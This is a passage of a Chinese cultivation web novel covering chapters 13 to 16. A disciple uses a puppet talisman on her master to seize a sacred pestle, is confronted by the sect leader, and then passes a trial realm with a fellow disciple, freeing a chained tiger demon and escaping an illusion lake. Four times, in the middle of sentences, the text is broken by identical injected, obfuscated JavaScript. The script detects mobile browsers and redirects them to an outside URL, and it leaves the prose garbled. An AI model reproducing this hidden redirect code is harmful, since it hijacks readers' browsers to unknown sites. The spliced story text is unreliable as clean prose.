应是修炼时太过专注,进入了忘我的玄妙境界之中。 颜朝阙轻呼了一口气,一步步挪到他的跟前。傀儡符从指尖窜出,在半空中无声地燃烧起来。 明黄色的符纸分解,成了无数晶亮的小点,如萤火虫般争先恐后地跃入秦之游的额间。 他修长挺拔的身体里突然蹦出数不清的金色丝线,末端尽数缠绕在颜朝阙的指骨上。 “起身。”黑暗中响起一道轻浅的女音。 她扯了扯金线,床榻上的青年便双腿用力,缓慢地站了起来。 那清贵无双的真人头一次露出了如此乖顺的表情,目光柔和,眉目舒展。 乌黑的发丝逶迤在身后,垂至腰间,随着他朝她走来的步伐而微微晃动。 他卷翘的睫羽低垂,黑琉璃般的眸色若隐若现,薄唇呈现出浅浅的粉色。 褪去那清冷的神情,竟无端显得有几分惑人心神,若非情况紧急,颜朝阙几乎要看得入迷。 秦之游在她身前半丈处站定。 这符的效果果真不错,颜朝阙满意地勾了勾唇角。 她不再废话,直接进入正题:“现在,你心甘情愿地将绝妖杵交给我,并解除与它的魂契。” 可秦之游却并未如她号令般行动,他僵硬地摇了摇头,机械地答了两个字:“不在。” 颜朝阙呼吸一滞,不在……绝妖杵不在他的身上? “立刻将绝妖杵召回。”她再次命令道。 已成为半个傀儡的秦之游轻轻点头,嘴唇翕动,念起一段晦涩拗口的咒术,可他每念一句,身上的金线就浅上一分。 越是动用神识之力,便越容易挣脱禁锢,留给她的时间不多了。 颜朝阙一双眼睛紧盯着身前之人,右手紧捏着指骨。 她的心亦因紧张而悬起,掌心早已湿濡一片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635184|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她成败如何,皆在此一举。 倏然,一道凌厉的剑气打在竹屋的小门上,一声轰然巨响后,将它彻底碾作了齑粉,而后半分不减地朝颜朝阙劈来。 「不灭金刚已失效,请宿主知悉。」 好巧不巧,系统居然在此时落井下石。 颜朝阙却来不及骂系统,强大的剑气几乎激起了流淌在血液中的本能。 她柔软的腰肢往旁边迅速一闪,若非反应够快,恐怕此刻不死也半残。 她躲在秦之游的身后,终于看清楚了来人。那女修面色凌厉似刀,眼尾吊起,发尾高束,手握一把紫色宝剑,浑身气势骇人。 绝妖杵不是秦之游的神器么,怎么招来了这么个厉害的修士。 “大胆弟子,妄图窃走昆墟神器。”她朝着颜朝阙高喝一声,霎时如闷雷般响彻这方天地,“竟然用傀儡符如此不入流的手段,今日本座就替无念好好清理门户。” 女修显然怒极了,脸比屋外的夜幕更加阴沉,她手腕翻转,持剑就要向颜朝阙袭来。 “师尊救我!”颜朝阙牵动手上的金线,快速嚷道。 紫剑与秦之游的绝魔剑猛地撞在一起,强大的灵力波动让这屋子都抖了三抖。 而这奋力一击,也让浑浑噩噩的真人彻底清醒过来。 “师姐?”秦之游眼神逐渐变得明澈,疑惑地对着眼前杀气腾腾的女修道,而后赶忙收起手中的绝魔剑。 明琉冷哼一声,“你真是收了个好徒弟。” “今日,为了昆墟,本座必诛之。”岂料她并未打算收手,剑尖一转,还要夺颜朝阙的性命。 这一次,她更是用势不可挡的力量,速度快得只留下残影。 竹屋逼仄,十丈不足,颜朝阙的小腿抵在床边,已然退无可退。 眼见剑气就要将她的身体捅穿,她的手腕忽而被人猛拽一把,鼻尖瞬时莹满冷峻的松香。 一道宝蓝色的结界拔地而起,紧紧将两人护住,抵住了昆墟掌门这迅疾如风的一招。 “秦之游!你还看不出她别有用心么?亏你为了护她不参加昆墟内门试炼,竟将绝妖杵借与我使用三日。” “今日她敢打绝妖杵的念头,明日便敢通妖引魔,你是想让昆墟数百年的清誉毁在这么个小丫头的手中么?!” 明琉气急了,一声声质问劈头盖脸地砸下。 秦之游松开了颜朝阙,他似乎反应过来一炷香之前发生了什么,下颌绷得极紧。 他未曾看她的眼睛,但她岂会感受不到他的怒意。 可即便如此,他此时仍旧将她护在身后。 秦之游转过身去,正对明琉,他神色淡漠,伸手掸了掸云苍色衣袍上的尘埃。 “她既是我的弟子,犯了错自应由我处罚。”他的声线清冷如泉。 明琉恨铁不成钢,差点咬碎银牙,“只要本座除了这祸患,尨玉之契自解,届时你自会有第二个拥有神器的弟子,你为何、为何……” “罢了,待日后她闯出更大的祸,本座倒要看你保不保得了她。” 她的眼神像淬了毒的刀子般又剜了颜朝阙两眼,而后气呼呼地甩袖离开了。 屋子里又只剩下秦之游与颜朝阙两人。 “明日,你去参加昆墟派试炼罢。”半晌,秦之游叹息一声道。 14. 第十四章 “过了这道灭生门,前面便是断魂崖秘境,昆墟派内门试炼便在此处。若循着东南方位直行,尽头有一出口,可直通断魂崖外。” “二位请自行入内,恕老朽就此告辞了。” 一个须发皆白的老者将颜朝阙和淮冷引到一扇黑黝黝的门前,说罢后微微躬身,而后便离去了。 他是昆墟派第八峰峰主,明哲长老。 许是颜朝阙这次真的伤了秦之游的心,今早来断魂崖,他并未现身。 周围是一片辽阔无垠的雪原,白茫茫的望不到边际。天上飘着鹅毛般的雪花,脚下的积雪已经埋住了她的脚踝。 明明是最为圣洁的白色,却无端让人感到压抑,心头闷得慌。 颜朝阙如今修为低下,没有灵力护体,扛不住这呼啸而过的刺骨寒风,连着打了好几个喷嚏。 储物袋早就被秦之游收走,她的身上除了那缺了一角的浅紫色罗裙,便再无它物取暖。 她哆嗦着抱紧自己,肩头忽而覆上一件狐毛大氅,她愣了一下,转头看到少年略显害羞的神色。 “这是我儿时御寒的衣物,你若是不嫌弃,可以穿上。”淮冷低着头,没有与她对视,声音在风中有几分含混。 这大氅质地细腻,瞬间替颜朝阙挡住了五分冷气,只是稍短了些,只到她的膝盖上方。 她忙裹紧了些,将两根长带系牢,浅笑着道:“多谢你,很暖和。” 淮冷这才抬起头,视线落在她姣好的面容上。 颜朝阙的五官本就娇艳,这染成窃蓝色的狐毛,更将她衬得似个玉人般。 一朵雪花恰好落在她右侧的梨涡上,化成了晶莹的水滴。 他本以为自己会不舍将母亲亲手缝制的大衣借出去,可见到颜朝阙的模样,他的心中只有庆幸。 庆幸他未犹豫太久。 两人的头顶上空忽而聚起一朵小小的雷云,一道手腕粗的雷劈下,逼得他们朝灭生门更近了一步—— 这是在催促他们赶紧进去。 “这里面不知是何情形,师姐……多加小心。”淮冷手中出现两把铁剑,将一把递至她身前,用清润的少年嗓音道。 颜朝阙接过那沉甸甸的黑剑,收敛笑意,肃然点头。 两人并肩踏入灭生门,身影霎时消失在黑雾中。 他们不知,此刻昆墟主峰的大殿上,硕大的水镜悬在半空,正映出两人的一举一动。 “这丫头才练气初期?”一位长老不可思议地挑眉。 要知道,昆墟其余的三件神器,复生、千山与绝妖,选择的都是元婴修为以上的年少奇才。 尨玉为何会选这般弱不禁风的小姑娘,实在是怪哉。 秦之游端坐在水镜前方,右手不自觉地攥紧了绝魔剑,如玉琢般的脸上看似波澜不惊,可下颌却无声绷紧了些许。 断魂崖的秘境,是六百年前师父亲手创下的,他与明琉是第一个被扔进其中试炼的。 彼时他们已有金丹后期修为,可仍旧狼狈不堪,九死一生。 昆墟派的内门弟子,通常是从天资聪颖又品性优良的外门弟子中选拔出来的,因此入秘境时怎么也不会低于金丹修为。 颜朝阙,她能活着走出断魂崖么…… 秦之游的心中并无答案。 “来了,第一关,百妖谷。”有人低呼一声,众人的目光几乎都移到了水镜上。 踏入这秘境,冰天雪地转眼便消失不见,入目是郁郁葱葱的森林,林中弥漫着淡淡的雾气,刺骨的冰寒转化为了潮湿的阴冷。 地上积满了各色的落叶,散发着腐臭的气息。 颜朝阙努力忽视着脚底黏腻的触感,慢慢往前挪动。 周围并无异常,可她总觉得有什么东西在阴恻恻地盯着她,不由得令人头皮发麻。 一声虎啸遽然响起,震彻天地,脚下的大地开始疯狂颤动起来。 长老们以为颜朝阙会面露惧色,可谁知她竟一改小心翼翼之态,眼眸发亮,看起来十分兴奋。 是虎妖,这将是她在人间见到的第一个同族。 她心想。 林中飓风骤起,雾气尽散,树叶与树枝随风狂舞,地面震得更加猛烈。 颜朝阙的眼前出现了一个算不得宽厚的背影。 她见少年回头道:“师姐,我正面击之,一会你先找个地方躲起来,伺机而动。” 淮冷听动静,知道是这妖物要准备袭击了,他修为比颜朝阙更高,此刻毫不犹豫地挡在她的身前。 颜朝阙刚想说“不用”,可话还没说出口,前方的树木被尽数倒塌,轰然落地。 丛林中显现出一个庞然大物,那虎妖身长数丈,高八尺有余,足足有十个颜朝阙那么大。 它的尾巴竖得极高,烦躁地左右甩着,只轻轻一下,就将那参天巨木拦腰折断。 这下纵使淮冷都没有信心了,他拉着颜朝阙就要往后跑。 “师姐,保命要紧。”少年咬牙道。 颜朝阙拍了拍他的手背,柔声道:“你先去。”而后竟自顾自地朝前方走去。 淮冷被她大胆的动作吓了一跳,他抿着唇,立在原地纠结了几息,最终还是决定提剑跟上。 他以为那虎妖会不管不顾地扑上来,张开那血盆大口,将冒犯之人吞入肚中。 可是并没有。 就在颜朝阙离它还有一丈时,它停下了步伐,而后居然坐下了身子。 淮冷看到一人一虎竟有些诡异的和谐——若是那虎妖并未朝天嘶吼不断的话,就更好了。 少年胆战心惊地迈着步子,走到颜朝阙的身侧。 她正仰着头,不知在看什么。 “淮冷,它很痛苦。”颜朝阙冷声道,“它的脖子上,有一件禁锢法器。” 淮冷顺着她的目光向上望,虎妖的颈部那一圈原本应该油光水亮的漂亮皮毛,已经脏的看不出原本的颜色。 鲜红腥气的血滴在树叶上,他这才注意到毛的深处有一道口子。 一根银色的锁链死死扣在它的脖子上,大小早已不适,将它勒出了深深的伤口。 “它并非想要攻击人,它只是在求助。”颜朝阙的眼中泛起了一层水雾。 天上地下,它们妖族都是被凌虐的对象。 颜朝阙与那双充满灵性的琥珀色眸子对视了几秒,虎妖便垂下了自己的脑袋,任由颜朝阙爬了上去。 她凝聚起全身的灵力,试图用铁剑斩断锁链,每一下都收效甚微。 但她依旧不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635185|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知疲倦,即便灵田干涸也在所不惜。 “师姐,我来帮你。”淮冷也跳上虎背。 金丹修为的灵力比练气强了数十倍不知,两人齐心协力之下,那法器终于“铮”地一声断裂开来。 虎妖兴奋地大吼了一声,若非两人抓紧了皮毛,恐怕就要被颠下去了。 水镜外,明琉真人望着跟在虎妖身后,在百妖谷畅通无阻的颜朝阙,狠狠蹙眉道:“怎么可能?!” 其余长老也都惊诧极了,“这、这百妖谷就如此轻松被破了?” 当初他们诸位,为了在百妖谷活下去,哪个不是花了数天数夜,几乎力竭? 整个大殿之上,恐怕只有秦之游一人松了口气。 送两人进入秘境的八峰明哲长老调笑了一句:“说不定我们昆墟派,能出个御兽的天才。” “后头可还有去念湖、一线梯等着他们呢,结局如何,恐怕不好说罢。”另一位老者抚了抚自己的白须,摇头道。 虎妖得救,那橙黑相间的大尾巴放了下来,惬意地摆了摆,鼻尖发出几声短促的喷气声。 它为颜朝阙在林中劈开一条宽阔的路,其他的妖物压根不敢靠近一步。 约莫走了一个时辰,终于到了这林子的尽头。 前方起了浓雾,白茫茫的遮住了颜朝阙全部的视线。突然一阵悠扬清脆的铃音由远及近地传来,两盏橘色的灯光晃悠悠地靠近。 待涟漪漾至她的脚下,她才看清是两艘小木船,而前方是一片不知有多大的湖。 “师姐,看来我们得分头行动了。”淮冷沉声道。 颜朝阙点头,她蓦地对少年道:“伸手。” 淮冷不知缘故,但仍旧乖乖将右手手掌举了起来。 颜朝阙咬破自己的指尖,在他的掌心上画了一道奇怪的符。指尖与他的肌肤相触,酥酥麻麻的触感让他的睫毛不自觉颤了颤。 “这是破幻符,若是前方的关卡是幻术,它可保你大脑清明。”颜朝阙向他解释。 这雾气诡异得很,像极了幻境中的虚空之地,若真如她所想,她倒是不怕,而身侧的少年恐怕有难。 淮冷的手指曲起,小心翼翼地控制着它们不碰到那符咒。 “……多谢。”他嗓音清润,轻柔似风。 两人分别朝左右木船走去。 颜朝阙正要抬腿时,她的衣角被虎妖的爪子勾住,而淮冷动作更快一步,他的船已经慢慢飘动起来,消失在了雾中。 颜朝阙倒也不急,明白这虎妖恐有事相求。 那庞大的身躯消失在了森林中,片刻后,它叼着什么东西跑了回来。 它将口中之物轻轻放在了她的面前。 竟是一只极小的猫咪,与虎妖的三颗牙齿差不多大。 虎妖低低呜咽了一声,颜朝阙听出了其中哀求的意味——它希望她能把这只小猫带出秘境。 颜朝阙望着躺在草丛中熟睡的小猫,想起记忆中的故人,心霎时软成了一汪水。 “我尽力一试。”她摸了摸虎妖的鼻子,应下了这桩差事。 她将小猫抱在怀中,而后跃上了木船。 此后的数年,每当她醒来见到那俊俏粘人的美少年时,都会庆幸她今日所做的决定。 15. 第十五章 木船悠悠地自行向前,四周都是浓浓的白雾,辽阔天地间仿佛只剩下她一个生灵。 哦,还有怀中的猫儿。 在这样的环境中久了,难免会感到有几分孤单,而这湿漉的雾气,似乎将它又放大了几分,成了彻骨的寂寥。 “孩子,你可曾有什么伤心事?” 一道沧桑的声音不知从何处传来,仿佛这雾中藏着一位慈祥和蔼的老者。 他会让你一瞬就记起自己的父亲、祖父或者族中的长辈。 想起那些儿时受了委屈,伏在大人们膝下诉说的日子。 可惜颜朝阙从来都是孤身一人。 这声音响起,她心中便警铃大作,知道第二关开始了。 见她不说话,雾中的老者叹了口气,他语气悲悯,仿佛能包容下人心中所有阴暗与悲伤的角落。 “孩子,将所有的痛苦藏在心底,很辛苦吧?你不要怕,老朽陪你一起面对它。” 这声音刚落,白雾扰动了一番,虚空中浮现出几个模糊的人影。 纵使知道自己入了幻境,见到虚幻的人影,颜朝阙的瞳孔仍猛地一缩。 她已经整整七百年未曾见到他的模样。 却说此时的昆墟主峰大殿上。 秦之游起身,用自己的身子挡住了水镜。 他用那双蕴着浓墨般的眼眸扫视了一圈,浑身散发着淡漠神圣的气息,神色泠然道:“君子非礼勿视,诸位请回吧。” 这大殿之上的人都曾经历过昆墟秘境,他们都知道这去念湖会将人心之中最不堪的一面映射出来。 每个人的心境,对于旁人来说,确实不应肆意窥视。 可耐不住人有好奇心。 “无念,老夫听闻,你这弟子心术不正,不若趁此机会知其心结,我等也可助其修行。”一位长老率先道。 颜朝阙自己有了神器还不知足,欲窃自家师尊神器的事情已经传开了。 其他人也跟着附和起来。 “是啊,她小小年纪就如此品性不端,若今后入魔害了昆墟怎么办?防患未然,今日也算是良机。” 秦之游将他们的虚伪嘴脸尽数纳入眼中,那挺拔如山的身姿未动分毫。 他静立镜前,眸光疏冷,面似冰玉般俊美无瑕,让人不敢轻易冒犯。 可这样看似不食人间烟火的人,说出的话却几乎不留情面。 “不知诸位长老能否保证自己是圣人,心中无一丝阴暗之念?” “若各位执意要看,那等明日,本座也送你们依次入这去念湖,让大家一起‘观赏’一番可好啊。” 威胁。 赤裸裸的威胁。 可偏生这威胁很是有用。 这个大殿之上就属秦之游修为最高,比掌门明琉真人还要高出三个小境界。 他若铁了心动手,他们这些老头子恐怕加起来都不是他的对手。 而且只有他们知道,自己心中那点龌龊的想法,是压根上不了台面的。 见秦之游如此坚持,这些长老也不敢再违拗,他们讪讪地笑了笑,忙摆手作罢。 大殿上原本围坐一圈的人终于都朝外走去。 明琉虽怒极秦之游偏私颜朝阙,但此时心中也敬佩他的高洁为人。 她只是稍有不满地觑了他一眼,并未发难,而后也离开了。 “这无念真人如此宠弟子,也不知道是不是好事。”几个长老凑在一起,嘀咕了几句。 明哲长老小声笑道:“他这几百年就这么两个弟子,多关爱些也无可厚非。” 片刻后,此地终于恢复了安静。 秦之游闭上双眼,封闭五感,在水镜前打坐修炼。 ……也守着那让他放不下心的小姑娘。 他心中暗自计算过,以颜朝阙的修为,若是两个时辰走不出去念湖,便会有生命危险。 而他从主峰到断魂崖,只需一炷香的功夫。 无论如何,有他在,她都不会出事。 颜朝阙不过盯着云雾中的人影看了几眼,周遭便物换星移,那一叶轻舟不见了,而她又置身在了记忆深处的场景中。 “阿姐,今天我又找到了好几个躲在极南之地的小妖,我把他们都带回来了!” 少年神采奕奕,激动地手舞足蹈,头顶两只毛茸茸的黑色耳朵都没来得及收回去。 他仰着头,神色骄傲,一副等待夸奖的模样。 颜朝阙鼻尖一酸,哪怕知道这是假的,她还是忍不住跟着少年笑了起来。 “等我再长大些,就能帮阿姐制服那些凶妖,阿姐也就不会受伤了。” 少年弯下腰,朝她手臂上的伤口温柔地吹了口气,认真道。 一滴晶莹的泪落从她的脸颊滑落。 她想抬手摸一摸他的耳朵,可少年转瞬就不见了。 “颜朝阙。”一道声音从天穹倾覆,响彻九重天,仿若万座梵钟嗡鸣,“你未经本君允许,竟敢私辟空间,收容妖族。” “你触犯天规,当受四十九道碎骨鞭,并将极域即刻交出。”真君的话像含着万钧雷霆之力,让人心生畏惧。 颜朝阙的手腕被束仙锁死死禁锢住,与四周那万丈青铜雷柱相连。 第一道碎骨鞭从空中狠狠落下,笞打在她的后背,扯烂了她的仙袍。 “交出极域。”真君命令道。 颜朝阙双眸死死地望着高空,即便再来一次,她还是说出了与当时一模一样的话—— “绝无可能。” 她忽然意识到接下来会发生什么,身体疯狂地抖动起来,可任凭她如何用力,都不过是徒劳。 果然,他们还是使出了那般下作的法子。 方才还对她笑得灿烂的少年,如今被人从高处抛下,奄奄一息地躺在她的面前。 “今日,有仙君在极南之地捉到这只猫妖,是你指使的吧?” “若你交出极域,本君可保他们无虞;若你不交,那这猫妖便只有魂飞魄散的下场了。” 少年已经稳不住人身,在它变成黑猫的最后一刻,坚定地对她摇了摇头。 他们心里明白,若是将极域上贡九重天,那些好不容易不用东躲西藏的妖族,恐怕都将丧命炼丹炉。 一道又一道混天雷劈在猫身上,他们当着她的面,将他碾作齑粉。 “不要!” 颜朝阙想为他挡下雷罚,却只能无力地看着一切发生。 眼前的景象随着她眼中涌起的泪花而远去,诛仙台不见了,她依旧坐在这晃悠悠的木船中。 “丫头,你可曾想过,这个世界……可以是另一番模样?”那长者的声音引诱着她去想象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635186|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静的湖面下涌动着点点荧光,而后宛若一面硕大的镜子般映出许多画面。颜朝阙乘着木船,仿佛躺在漫无边际的银河中。 她瞧见,湖水中的自己挣脱了束仙锁,救下了黑猫少年。 她集结了妖族之军,将真君们赶下了九重天。即使是灵力最微末的小妖们也能昂首阔步地行走在仙界。 湖水映出的一切是如此逼真,比她自己的幻梦更加美好。 “丫头,若是你跳进去,湖中的那个世界,便是你的世界。” 那苍老的声音钻进她的心底,缓缓唆使道。 饶是颜朝阙神识清醒,也不由得心动了片刻。 见她迟迟没有动作,幻境还不死心,让那湖中的少年一声声、一句句,清脆又响亮地喊她:“阿姐。” 也勾着她心底深处的柔软与哀恸。 怀中突然的动静将颜朝阙的思绪扯了回来,是那只虎妖托付给她的小橘猫。 “喵呜~” 它醒了,蜷缩在颜朝阙的怀中,伸出爪子奶声奶气地叫了一声。 颜朝阙的手有一下没一下地轻抚着它,指尖传来真实而柔软的触感,小猫舒服地发出咕噜声。 她忽而笑了。 “幻境,你不必再引诱我。”颜朝阙朗声道,“我知道,湖中的景象都是假的。” “我不会跳下去,因为我若真这么做了……那些就再也成不了真的。” 她还有太多太多的事情没有去做。 她要变得勇敢一点,才能真的成为他的好阿姐。 颜朝阙未失半分理智,去念湖的幻境再也无计可施。 小木船加快了速度,将她送至彼岸。 她站在漫山的雏菊中,等了足足半个时辰,也未见淮冷出来。 “幻境,我师弟呢?”颜朝阙不由得问道。 去念湖再也不装神弄鬼,它现出灵体,竟是个童颜鹤发的念灵。 “他陷进去了。”它有些幸灾乐祸道。 颜朝阙狠狠皱起眉头,淮冷掌心有她的妖仙之血,按理不应该无法抽离才对。 她想也不想地又踏上木船,“送我去见它。” “我为何要帮你?” “你若不帮我,我便日日将昆墟上下的污水送来,将你这清澈的湖水搅得浑浊恶臭!” 念灵:……究竟是哪里寻来的祖宗。 小木船终究还是不情不愿地动了起来,带着她向另一个方向驶去,慢慢进入了淮冷的幻境。 这里再也不是平静无波的水面。 颜朝阙看到了一座小屋,而淮冷就站在一口大瓮边上。 肆虐张扬的火舌将他团团围住,逐渐蔓延到了他的脚下,眼见就要缠住他的身体。 而淮冷明明有着金丹期的修为,此刻却像是一个手无寸铁的孩子,脸色惨白如纸,僵着身子,无助地望着前方。 淮冷的幻境蕴着股毁天灭地的力量,那映天的火光竟然已经凝成了实质。 念灵轻啧了一声,“执念越深,幻境之力便越强,到这个境界,连我都难以停下了。” 颜朝阙将小猫放在船中,纵身跳了下去。 “喂,你救他会损耗自身的心神。”念灵嚷道。 “去你大爷的。” 身着紫色破烂罗裙的姑娘骂了句,头也不回地冲了过去。 16. 第十六章 “阿娘,阿娘!” 少年肩膀瘦削如竹,清俊的脸上布满泪水。 不知看到了什么,竟蹲下身子,边叫喊着,边不管不顾地将手伸进那猩红的焰火中。 执念滋生出的火舌无情地舔舐着他的肌肤,吞噬起他体内的灵力。 那双不停在地上摸索的手,蓦地被覆住了。 颜朝阙的手根根如葱,白皙柔嫩,瞧着没什么力道,却一下子就制住了少年慌乱。 她摸到了他凸起的骨节,指腹布着一层异常粗糙的厚茧。 颜朝阙紧紧攥住他的手掌,右臂扬起,身上的窃蓝色狐毛大氅在空中飞舞而过,稳稳地盖住了少年的肩膀,将念火隔绝在外。 火星窜起,将这屋子内的陈设也尽数点燃。头顶的横梁发出短促而令人心惊的“噼啪”声,不知何时就会砸下。 情急之下,颜朝阙再次咬破了自己的指尖,雪白的皮肤上霎时涌出嫣红的血。 她将他的掌心展开,一遍遍画着破幻符,又一遍遍地在他耳边喊道。 “淮冷,醒过来!” 身下的狐毛已经被点燃了些许,散发出奇异的烧焦气味。 少年空洞的眼神中慢慢出现了一抹光亮。 他的身子在颜朝阙的怀中剧烈一抖,终于清醒了过来。 “师、师姐?” 他望着近在咫尺脸,咽了口口水,无措地喊道。 随着这道清澈的嗓音,那暴虐的火团如潮汐般退去,颜朝阙终于松了口气。 幻境崩塌,织起幻境的数根水柱失去支撑,轰然坠下,在去念湖上砸起大大小小的水花。 一眨眼,他们又回到了那木船之中。 念灵有些不满地鼓着腮帮子,这少年的执念如此美味,若非这小丫头搅局,今日他定能饱餐一顿。 可想起她扬言要往湖中倒污水…… 那可是他的本体,念灵爱惜地摸了摸自己的白发,愤恨地消失在了原地。 淮冷彻底反应过来,心中又羞又愧,明明颜朝阙已经提醒过他,可他还是不争气地着了道。 他真是一个无用的人。 “师姐,对不起。” 少年垂下脑袋,懊丧地盯着掌心随汗水晕开的血迹,声音因自责几乎低到尘埃里。 颜朝阙并未如他所想般开口怒骂他,她只是略带悲悯地叹了口气,伸手解下了披在身上的大衣。 “只是可惜了这件大氅。”她望着被烧成炭灰色的衣边,眼中有淡淡的惋惜。 这狐毛质地极佳,针脚工整,颜色染得均匀又淡雅,制作之人定是花了不少功夫。 或许对如孤雏般长大的淮冷来说,有着非凡的意义,可如今却被念火烧得不成样子。 他们已经渡过那古怪的湖,彼岸绿草如茵,阳光暖融融地洒下,驱尽了寒意。 若是颜朝阙没猜错,越往南越暖和,她应是用不到这大氅了。 她将它递给淮冷,也算是物归原主。 少年的眼眸中划过一丝悲伤,他接过儿时母亲亲手缝制的大氅,将它收进了储物袋中。 颜朝阙正要收回手,手腕却被人轻轻握住。 修长的手指温柔地托着她的腕骨,只有大拇指微微曲起,动作比方才收下衣物还小心翼翼数倍不止。 颜朝阙没想到他会有这样的举动,怔愣间,她瞧见少年从怀中掏出瓷瓶。 他毫不吝惜地取出许多,将它细细地抹在颜朝阙自己咬伤的指尖。 那明明不过是个小伤口,已经结了一块小小的疤。 淮冷的神色却郑重得像是在处理性命攸关的大伤。 药膏冰凉的触感很是舒服,与少年滚烫的掌心完全不同,片刻就融进了那一寸肌肤,将血色清除干净。 可淮冷迟迟没有松开手,浓密的睫羽遮住了他的双眸,她只能看见他始终低垂的剑眉。 颜朝阙明白他心中定有着浓浓的愧疚。 她抽回自己的手指,决定安抚一下少年忐忑的心。 “淮冷,我不怪你,这湖中的念灵确实厉害,连我都差点被蛊惑心神。” “你没事,已是万幸。”颜朝阙的手抬起,拍了拍他的肩,“切莫再责怪自己。” 淮冷是火灵根,那翻腾不息的念火正是依附他的灵力和执念而生。 幻境中,那火并未向远处蔓延,反而缠上了他的身体,那这意味着……在那时,他恨不得自己也死去。 他心中自责的火已经燃得够旺盛了,她又何必再去添一把柴? “走吧,我们得尽快出去。” 颜朝阙温声道,他们在秘境中已经待了足足三个时辰了。 她从木船中捞起又昏昏欲睡的小猫,率先朝前方走去。 少年终于抬起头,颜朝阙不曾看到,他的眼眶有些泛红,睫翼上挂着细碎如星的水珠。 那双向来幽深如夜的眸子中,慢慢亮起了一抹槿紫色的光。 大殿上的秦之游也在此时睁开了双眸,他瞥见两人安然无恙,不自觉舒了口气。 他不知颜朝阙经历了什么,但隐约感受到她的心境越发坚定了些。 这对她的修行来说,百利而无一害。 颜朝阙与淮冷在芳草甸中行走了良久,直至碧茵变为荒芜,大地成了寸草不生的沙漠。 骄阳高悬,几个时辰前他们还冻得直哆嗦,现在却炎热得恨不得把身上的衣服除尽了。 两人口干舌燥,汗珠抑制不住地从额头上滚落,不过几息就浸湿了衣襟。 淮冷在储物袋中翻遍了都没找到水,勉强寻了些凝霜丹生咽了下去。 早知道从前便不该如此节俭,从不置办生活物什,如今让师姐跟着自己受苦。 少年想道。 所幸他们终于走到了秘境尽头。 颜朝阙本以为明哲长老口中的“出口”是一道门,正如他们进入秘境时所经过的灭生门一般。 未曾想居然是一座登天梯,样式与万经阁中如出一辙,看起来却更为凶险难攀。 这梯子高耸入云,纵使颜朝阙仰起头也看不到尽头。 比起长度,更棘手的是它被人施了术法,无数朵幽蓝色离火缠绕着玄铁,让人不敢轻易触碰。 她回头望了一眼,身后数丈处不知何时悄无声息地竖起了一道强大的结界——这是不允许他们走回头路了。 “师姐,我先一试。”淮冷主动走上前道。 他的脚刚踏上第一级登天梯,离火便将他的靴子底烧穿。少年未曾退缩,咬牙继续向上迈了一步。 他仔细探查了一番自己的身体,发现这些离火虽然看着骇人,但实际上对人体的威力不大。 “师姐,这离火奈何不了我们……” 淮冷高兴地回头,话还没说完,脸上喜悦的神色便消失殆尽了。 第一级天梯已经彻底消失,而站在地面上的颜朝阙正在以极快的速度下沉。 她前一刻还好好地站在沙地上,可如今沙子已经完全埋住了她的脚踝。 颜朝阙显然也注意到了异样,她动了下身子,沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635187|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得反倒更快了。 她第一时间稳住心神,并未惊慌,将怀中的猫儿放在肩头,一双桃花眼沉沉地盯着地面,大脑正飞速地思索着对策。 她明白了布下此关之人的用意。 登天梯者生,留地者死。 所有想要走出秘境的人,必须相互厮杀,才能搏得一线生机。 “师姐,把手给我!” 眼见颜朝阙的膝盖都快要陷进流沙中,天梯上的少年再也顾不得其他,叫嚷着伸出一只手臂。 两人对视了一刹,颜朝阙就明白了他的意思。 她毫不犹豫地伸出右手,两人的掌心死死扣牢。淮冷将灵力集中于手臂,猛地发力,将她从流沙中迅速拔出。 颜朝阙顺着他的力道跃上他的后背,勾住了他的脖子,轻盈的身体像蝴蝶般栖在了他的身上。 少年炙热的身躯霎时一僵,耳尖羞得快滴出血来。 他们离得实在是太近了些。 “怎么了?”颜朝阙疑惑地问道。 她轻浅的呼吸不自知地拂过他的耳垂,宛若沾着朱砂的刷子般,将那一片顿时染得通红。 掌下跃动的离火刺痛着他的肌肤,让淮冷恢复了些许冷静。 